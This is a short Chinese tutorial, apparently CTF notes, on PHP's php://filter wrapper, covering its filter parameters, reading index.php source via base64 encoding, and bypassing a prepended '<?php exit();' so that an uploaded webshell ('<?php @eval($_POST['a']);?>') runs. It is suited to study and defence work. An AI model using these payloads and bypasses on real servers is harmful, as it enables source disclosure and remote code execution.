php://filter: 作用:在读入或写入数据时将数据处理后再输出
格式:
代码语言:javascript复制php://filter/read=xxx|xxx|xxx/resource=xxx
php://filter/write=xxx|xxx/resource=xxx
参数:
代码语言:javascript复制string.rot13 //一种字符处理方式,字符右移十三位
string.toupper //转换为大写
string.tolower //转换为小写
string.strip_tags //去除html和php标记,比如<?php?>(绕过死亡exit)
convert.base64-encode //base64编码
convert.base64-decode //base64解码
convert.quoted-printable-encode //将可以打印的ASCII编码字符表示为编码形式下的字符
convert.quoted-printable-decode //将编码形式下的字符解码为可打印的ASCII编码字符
示例:
代码语言:javascript复制//浏览器读php文件时默认是作为页面输出,下面伪协议将php文件的内容输出
php://filter/read=convert.base64-encode/resource=index.php
//将xxxxx写入hello.txt
php://filter/write=string.rot13/resource=hello.txt","xxxxx"
关于死亡绕过: 服务器可能对上传的文件执行了以下函数:
代码语言:javascript复制file_put_contents($content, '<?php exit();'.$content);
这样会在文件开头加入'<?php exit();',使得后面的内容无法被执行,我们上传后的木马可能如下:
代码语言:javascript复制<?php exit();
<?php @eval($_POST['a']);?>
可以使用convert.base64-encode和convert.base64-decode进行绕过: 1-先将木马内容进行base64编码 2-在编码后的木马前加一个字符,比如'a' 3-访问php://filter/read=convert.base64-decode/resource=index.php,执行index.php
原理:base64编码会先过滤无法识别的字符,比如<;?>,然后文件结构变为phpexit a 编码后的木马,由于base64编码和解码将四个字符作为一组,所以phpe和xita就被解码为其他字符,木马则正常解码,返回到页面
还可以使用string.strip_tags进行绕过: <?php exit;可以作为一个XML标签被string.strip_tags过滤,所以可以访问php://filter/read=string.strip_tags/resource=index.php来执行index.php,也可以搭配上一种方法组合使用。